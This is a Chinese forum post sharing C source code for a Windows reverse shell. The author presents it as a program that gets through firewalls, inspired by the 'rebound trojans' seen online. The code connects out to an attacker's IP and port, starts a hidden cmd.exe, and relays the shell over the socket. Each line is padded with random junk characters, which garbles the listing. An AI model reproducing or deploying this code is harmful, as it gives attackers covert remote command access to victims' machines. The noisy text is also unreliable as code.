社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3733阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'E]A.3-Mt  
R|,7d:k  
/* ============================== ,4F,:w  
Rebound port in Windows NT 9V!-ZG  
By wind,2006/7 `_AM` >_  
===============================*/ 0LVE@qEL  
#include #Fd W/y5  
#include DQ!J!ltQ  
3><u*0qe%I  
#pragma comment(lib,"wsock32.lib") 9w ~cvlv[  
I=dGq;Jaz  
void OutputShell(); ?qHF}k|  
SOCKET sClient; eMMx8E)B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pu;3nUH  
9/TY\?U  
void main(int argc,char **argv) a<Uqyilm  
{ 9w^zY ;Y  
WSADATA stWsaData; - V) R<  
int nRet; 3P=w =~e  
SOCKADDR_IN stSaiClient,stSaiServer; z_SagU,\  
<&#+ E%E4  
if(argc != 3) -e`;bX_N)  
{ -f>'RI95>  
printf("Useage:\n\rRebound DestIP DestPort\n"); zhEo(kU!  
return; cy3ww})  
} @ RR\lZ  
R9dP,<2  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?X_V#8JK  
U{1z;lJ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); us{nyil1  
hY8#b)l~lu  
stSaiClient.sin_family = AF_INET; ?C;JJ#Ho  
stSaiClient.sin_port = htons(0); D[Iq n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u}jrfKd E  
n.$(}A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ijZ>:B2:  
{ *Zkss   
printf("Bind Socket Failed!\n"); rY70 ^<z  
return; vZjZb(jlN  
} : }?{@#Z  
ZlR!s!vv  
stSaiServer.sin_family = AF_INET; Aka^e\Y@6*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); womq^h6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R_e)mkE  
g()m/KS<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xPQL?.  
{ jXIEp01  
printf("Connect Error!"); p5*lEz|$  
return; =MSu3<y,  
} j7/(sf  
OutputShell(); "bX4Q4Dq  
} pCt}66k}  
Fj=NiZ=  
void OutputShell() 9YC&&0 C@  
{ k i4f*Ej  
char szBuff[1024]; B=zMYi  
SECURITY_ATTRIBUTES stSecurityAttributes; *8\(FVyG^  
OSVERSIONINFO stOsversionInfo; @-6?i)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hZuYdV{'h  
STARTUPINFO stStartupInfo; b=LF%P  
char *szShell; < 5ZJ]W  
PROCESS_INFORMATION stProcessInformation; c4|so=  
unsigned long lBytesRead; :XS"# ^aJ  
Dd/}Ya(Gi  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \Hum}0[  
rSyaZ6#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0j@IxEPs  
stSecurityAttributes.lpSecurityDescriptor = 0; 9~Xg#{  
stSecurityAttributes.bInheritHandle = TRUE; Z{}+)Q*Q  
dF,DiRD  
i$O#%12l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F0;1zw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &%e"9v2`  
|R~;&x:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *i?.y*g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6FjVmje  
stStartupInfo.wShowWindow = SW_HIDE; 5Rs?CVVb  
stStartupInfo.hStdInput = hReadPipe; r<(kLpOH%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E^syrEz  
/=M.-MU2  
GetVersionEx(&stOsversionInfo); v MWC(m  
"k>bUe|RG  
switch(stOsversionInfo.dwPlatformId) `u=<c  
{ h.b+r~u  
case 1: hEcYpng~  
szShell = "command.com"; )6G+tU'  
break; |Ow$n  
default: 7SHo%b A  
szShell = "cmd.exe"; 7.|S>+Q  
break; `Kp}s<  
} s5.k|!K  
Wf1-"Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -s~p}CQ.  
'%Dg{ zL  
send(sClient,szMsg,77,0); ZOHRUm  
while(1) yS"0/Rm}  
{ '%O\E{h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); & =sayP  
if(lBytesRead) m){&:Hs  
{ }rxFS <j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M=Is9)y  
send(sClient,szBuff,lBytesRead,0); ddMM74  
} p;ZDpR  
else f[M"EMy  
{ Ap,q `S  
lBytesRead=recv(sClient,szBuff,1024,0); )fR1n}#  
if(lBytesRead<=0) break; UJs?9]x>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j)@oRWL<  
} fW[.r==Kf  
} EQ~I'#m7  
8)`5P\  
return; qid1b b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八